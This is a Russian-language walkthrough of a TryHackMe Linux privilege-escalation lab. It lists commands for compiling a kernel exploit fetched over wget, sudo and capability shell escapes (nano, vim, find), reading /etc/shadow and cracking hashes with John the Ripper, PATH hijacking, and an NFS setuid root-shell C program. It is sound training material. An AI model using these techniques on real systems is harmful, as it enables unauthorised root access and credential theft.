Сегодня я решил написать свой собственный отчет о двух лабораторных работах, которые показались мне довольно сложными: Linux PrivEsc и Windows PrivEsc на пути Jr Penetration Tester. Давайте начнем! 😊
Я пропущу следующие задания, так как они предназначены только для чтения:
- Задание 1: Введение
- Задание 2: Что такое эскалация привилегий?
- Задача 4: Инструменты автоматизированного перечисления
- Задание 3: Перечисление
- Задание 5: Эксплойты для ядра с повышением привилегий
- Задача 6: Повышение привилегий Sudo
- Задача 7: Повышение привилегий SUID
- Задание 8: Возможности повышения привилегий
- Задание 9: Задания Cron с повышением привилегий
- Задание 10: Эскалация привилегий PATH
- Задание 11: Повышение привилегий NFS
- Задание 12.
- Заключение
Задание 3: Перечисление
Чтобы прочитать инструкции/общую информацию по этому разделу, пожалуйста, перейдите к заданию, посвященному этому разделу. Я не буду копировать и вставлять всю информацию, так как это сделает статью более объемной, да и, честно говоря, если вы следите за ходом работы, в этом нет необходимости.
Каково имя хоста целевой системы?
Откройте терминал через AttackBox или OPENVPN, и давайте подключимся к машине по SSH с помощью команды ssh karen@YOUR_MACHINE_IP
. Запомните пароль – Password1.
Как только вы вошли в систему, мы можем просто выполнить команду hostname
, чтобы найти имя хоста нашей целевой машины. Вуаля, наш первый вопрос решен!
Какова версия ядра Linux целевой системы?
Чтобы узнать версию ядра нашей системы, мы можем просто ввести команду uname -a
, которая выведет информацию о системе, предоставляя нам дополнительные подробности о ядре, используемом системой.
Что это за Linux?
Мы можем использовать команду cat /etc/issue
, чтобы узнать версию операционной системы.
Какая версия языка Python установлена в системе?
Этого вопроса не было в инструкции, но он довольно очевиден. Мы можем просто выполнить команду python --version
, чтобы узнать, какая версия установлена.
Какая уязвимость, по-видимому, затрагивает ядро целевой системы? (Введите номер CVE).
Для этого нам нужно немного погуглить/поискать в Exploit-DB.
Задание 5: Эксплойты для ядра с повышением привилегий
Найдите и используйте соответствующий эксплойт ядра для получения привилегий root на целевой системе.
Завершите работу предыдущей машины. Теперь давайте пройдемся по шагам методологии эксплойта ядра.
1. Определите версию ядра.
2. Поиск и нахождение кода эксплойта для версии ядра целевой системы.
Это можно найти с помощью быстрого гугления. Скачайте эксплойт и переместите его в папку /tmp
.
Мы также можем получить его через searchploit.
Каково содержимое файла flag1.txt?
3. Запустите эксплойт.
Итак, откройте терминал на вашей локальной машине и запустите машину в Attackbox. В Attackbox выполним команду id
и обратим внимание на наши текущие привилегии пользователя.
На вашей локальной машине нам нужно запустить python-сервер, чтобы мы могли отправить загруженный эксплойт на целевую машину в Attackbox. Мы можем сделать это с помощью команды python3 -m http.server 8000
. Не закрывайте этот терминал.
Откройте новую вкладку/терминал, чтобы мы могли получить IP-адрес нашей локальной машины. Он нужен нам для подключения к целевой машине. Используйте команду ifconfig
и прокрутите страницу вниз.
Отлично, теперь мы можем отправлять наш эксплойт, который мы скачали и сохранили в файле /tmp, на нашу целевую машину. Зайдите в свой Attackbox и сначала cd в папку /tmp перед подключением к локальной машине.
Если вы сначала не перейдете в /tmp, то при попытке подключения вы получите ошибку. Теперь, чтобы отправить эксплойт и установить соединение, мы можем ввести следующую команду (замените IP на ваш ifconfig IP) wget http://yourip:8000/37292.c
.
Итак, эксплойт отправлен. Теперь, чтобы преобразовать его, мы можем ввести следующую команду gcc 37292.c -o pwned
. Когда наш эксплойт преобразован, мы можем запустить его с помощью команды ./pwned
.
Теперь, когда мы снова запустим команду id
, мы увидим, что привилегия нашего пользователя изменилась! Теперь мы сможем легко получить доступ к файлам.
Давайте перейдем в /home через cd /home
, потому что сейчас мы находимся в /tmp. Из /home выполним команду ls
, чтобы посмотреть, что мы можем найти. У нас есть единственный каталог под названием matt.
Давайте перейдем в matt через cd /home/matt
и посмотрим, что мы можем найти с помощью команды ls
.
Отсюда видно, что мы нашли файл flag1.txt. Давайте прочитаем его с помощью команды cat flag1.txt
. Мы успешно нашли флаг!
Задача 6: Повышение привилегий Sudo
Завершите работу предыдущей машины и запустите машину, необходимую для выполнения этого задания. Откройте свой Attackbox для работы прямо в браузере, или ssh в аккаунт Карен через терминал локальной машины.
*Сколько программ может запустить пользователь “karen” на целевой системе с правами sudo? *
Чтобы узнать, сколько программ может запустить Карен, нужно выполнить команду sudo -l
. Отсюда мы видим, что она может запускать 3 программы/команды, а именно find, less и nano.
Каково содержимое файла flag2.txt?
Давайте сначала посмотрим, что мы можем найти в нашем текущем каталоге с помощью ls
. Каталог /home является наиболее важным для нас, поэтому давайте перейдем в него. Дальше, когда мы ls, мы увидим, что есть единственный каталог с именем ubuntu.
Давайте перейдем в ubuntu через cd /home/ubuntu
. Выполнив команду ls
, мы увидим, что успешно нашли файл flag2.txt.
Теперь мы можем просто cat flag2.txt
и вуаля, мы нашли наш флаг!
Как бы вы использовали Nmap для создания root shell, если бы у вашего пользователя были права sudo на nmap?
Каков хэш пароля frank?
Когда мы вернемся в права root через cd / и выполним команду id, мы увидим, что у нас нет доступа root, поэтому мы не сможем прочитать пароль Фрэнка. Выполните команду cat /etc/shadow
и вы увидите, что мы не можем получить доступ.
Давайте исправим это. Запустите sudo nano
и нажмите CTRL+R и CTRL+X. Введите следующую команду для получения root-доступа: reset; bash 1>&0 2>&0
и нажмите Enter.
Запустив команду id
, мы увидим, что у нас есть root-доступ.
Теперь мы можем снова выполнить команду cat /etc/shadow
и, как вы понимаете, теперь мы можем найти хэшированный пароль Фрэнка!
Задача 7: Повышение привилегий SUID
Какой пользователь носит имя великого писателя комиксов?
Завершите работу предыдущей машины и снова подключитесь к IP Карен, как и раньше. Чтобы найти пользователей, мы можем выполнить команду cat /etc/passwd
.
Кто из пользователей носит имя великого писателя комиксов?
Прежде чем мы начнем, на Рабочем столе вашей локальной машины создайте папку suid со следующими файлами: passwd.txt и shadow.txt. Убедитесь, что в папке /wordlists у вас есть файл rockyou.txt из предыдущих лабораторных работ.
Сначала нам нужно найти хэши паролей для нашего файла passwd.txt. Выполните команду base64 /etc/passwd | base64 --decode
в терминале и скопируйте последний бит в файл passwd.txt.
Далее нам нужно найти хэши паролей для нашего файла shadow.txt. Выполните команду base64 /etc/shadow | base64 --decode
в терминале и скопируйте последний бит в файл shadow.txt.
Далее нам нужно снять тень с наших паролей. Зайдите в командную строку и введите команду unshadow passwd.txt shadow.txt > passwords.txt
(где мы вошли в систему как Karen). Наш каталог passwords.txt был создан.
Наконец, мы можем использовать инструмент John The Ripper для взлома пароля. Выполните команду john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
.
В конце вы увидите, что пароль – это Password1.
Каково содержимое файла flag3.txt?
Мы можем использовать тот же трюк, что и раньше. Введите команду base64 /home/ubuntu/flag3.txt | base64 --decode
в терминале (где мы вошли под именем Karen). Наш флаг раскрыт.
Задание 8: Возможности повышения привилегий
Завершите предыдущий сеанс и войдите в систему под именем Karen (снова).
Сколько двоичных файлов имеют установленные возможности?
Выполните команду getcap -r / 2>/dev/null
и посчитайте возвращенные двоичные файлы. Мы можем насчитать шесть двоичных файлов.
Какие еще двоичные файлы могут быть использованы через его возможности?
Выполните команду getcap -r /
и прокрутите страницу вниз. Мы видим, что другой двоичный файл просматривается.
Каково содержимое файла flag4.txt?
Для этого просто введите в терминал следующую команду: ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Это откроет оболочку.
Далее нам нужно вернуться в /home. После этого введите cd /home/ubuntu
, и введите ls
.
Мы можем прочитать файл flag4.txt с помощью команды cat flag4.txt.
Задание 9: Задания Cron с повышением привилегий
Сколько пользовательских заданий cron вы можете увидеть на целевой системе?
Завершите работу предыдущей машины и войдите в систему Karens. Для этого задания я буду работать из Attackbox. Выполним команду cat /etc/crontab
. Мы видим, что есть четыре пользовательских задания cron:
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
Каково содержимое файла flag5.txt?
(Чтобы найти флаг, следуйте указаниям по задаче в THM).
Каков пароль Мэтта?
(Чтобы найти флаг, следуйте примечаниям к задаче на THM).
Задание 10: Эскалация привилегий PATH
К какой странной папке у вас есть доступ на запись?
Завершите работу предыдущей машины и войдите в систему Карен.
Если обратиться к примечаниям к заданию, то можно увидеть, что для поиска папок, доступных для записи, можно использовать команду find / -writable 2>/dev/null | grep home
.
Используйте уязвимость $PATH для чтения содержимого файла flag6.txt.
В терминале, в который вы вошли под именем Karen, выполните команду cd /home
, чтобы мы могли увидеть, к каким файлам мы можем получить доступ. Когда мы выполним -ls -a
, мы увидим, что у нас есть matt, murdoch и ubuntu. Наш flag6.txt будет находиться под matt, но давайте посмотрим, что находится под murdoch, поскольку у нас есть к нему доступ на запись.
Зайдя в /home/murdoch
, мы увидим, что там есть три файла: test, thm и thm,py. Давайте посмотрим, что находится в каждом из них. Перед тем как открыть каждый файл, выполните команду bash
.
Чтобы посмотреть, что находится в файле test, выполните команду file test
.
Чтобы посмотреть, что находится в файле thm.py, выполните команду file thm.py
, а затем cat thm.py
.
Когда мы пытаемся проделать то же самое с thm, мы видим, что такой файл не найден. Когда мы пытаемся запустить ./test
, мы видим, что он зависит от thm, а значит, нам нужно создать файл thm и написать небольшой скрипт для чтения содержимого нашего файла flag6.txt.
Создайте файл thm с помощью команды touch thm
.
Запишите скрипт в этот файл с помощью команды echo cat /home/matt/flag6.txt" > thm
.
Теперь, чтобы сделать этот файл thm исполняемым, нам нужно преобразовать его с помощью команды chmod +x thm
.
Прежде чем мы сможем запустить ./test, нам нужно экспортировать путь с помощью команды export PATH=/home/murdoch:$PATH
.
Наконец, мы можем запустить команду ./test. Мы успешно использовали уязвимость PATH!
Каково содержимое файла flag6.txt?
Мы нашли флаг в предыдущем вопросе после выполнения команды ./test
.
Задание 11: Повышение привилегий NFS
Сколько монтируемых общих ресурсов вы можете определить на целевой системе?
Завершите работу предыдущей машины и войдите в систему Карен. Чтобы перечислить монтируемые общие ресурсы с атакующей машины, нам нужно использовать команду showmount -e <YOUR MACHINE IP>
.
После этого мы можем подсчитать три монтируемых ресурса.
У скольких ресурсов включена опция “no_root_squash”?
Чтобы увидеть это, выполните команду cat /etc/exports
. Мы можем насчитать три опции no_root_squash.
Получение root shell на целевой системе
Следуйте шагам из инструкции к заданию. Все точно так же. Итак, в терминале, не в том, в котором вы вошли под именем Karen, сделайте следующее:
mkdir /tmp/sharedfolder
nano
//Enter into nano and save as nfs.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
Теперь перейдите в каталог /tmp/sharedfolder
и преобразуйте файл .c в исполняемый.
Теперь, когда вы перейдете в систему Карен и cd в /home/ubuntu/sharedfolders и выполните команду ls -l
, ваш файл nfs должен быть там. Теперь вы имеете root-доступ и можете выполнить команду ./nfs
.
Каково содержимое файла flag7.txt?
Выполните команду cat /home/matt/flag7.txt
. Флаг раскрыт!
Задание 12.
Каково содержимое файла flag1.txt?
Давайте войдем в систему Леонарда.
После этого посмотрим, какие привилегии у нас есть с помощью команд whoami
и id
.
Итак, посмотрим, что мы можем найти с помощью команды find / -type f -perm -04000 -ls 2>/dev/null
(мы использовали ее ранее). Помните, в разделе SUID мы использовали base64 для снятия тени с наших данных /shadow и /passwd? Давайте сделаем это снова.
На рабочем столе создайте папку SUID с двумя файлами: passwd.txt и shadow.txt.
В терминале Леонарда выполните командуbase64 /etc/shadow | base64 -d
и скопируйте значение Мисси в файл shadow.txt.
Затем выполните командуbase64 /etc/passwd | base64 -d
и скопируйте значение Missy в файл passwd.txt.
Теперь, в нашем атакующем терминале, мы можем использовать John The Ripper для взлома пароля. Сначала выполните команду sudo unshadow passwd.txt shadow.txt > cracked.txt
, чтобы создать файл cracked.txt
.
Затем выполните команду john: john --wordlist=/usr/share/wordlists/rockyou.txt cracked.txt
, чтобы взломать код. Мы видим, что пароль Мисси – Password1.
Теперь, вернувшись в терминал Леонарда, давайте войдем в систему под именем Missy. Выполните команду su missy
и введите ее пароль.
Команда sudo -l покажет, что missy не нужен пароль для доступа к данным.
Теперь мы можем перейти к нашему файлу flag1.txt. Сначала нам нужно найти его с помощью команды sudo find / -name "flag1.txt"
.
Чтобы прочитать флаг, просто выполните команду cat /home/missy/Documents/flag1.txt
. Наш флаг раскрыт!
Каково содержимое файла flag2.txt?
Давайте посмотрим, сможем ли мы найти файл flag2.txt с помощью команды sudo find / -name "flag2.txt"
. Мы видим, что для доступа к нему нам нужен root-доступ.
Для этого просто скажите sudo find . -exec /bin/sh ; -quit
.
Теперь, когда мы выполним команду cat /home/rootflag/flag2.txt
, мы получим доступ к флагу.
Заключение
Я надеюсь, что это немного помогло, так как эта лабораторная работа действительно бросила мне вызов, но это было так весело, и я чувствовал себя хорошо, когда завершил ее. В любом случае, я справился, а теперь и вы справитесь! 😀
Загляните на мой GitHub, чтобы узнать больше.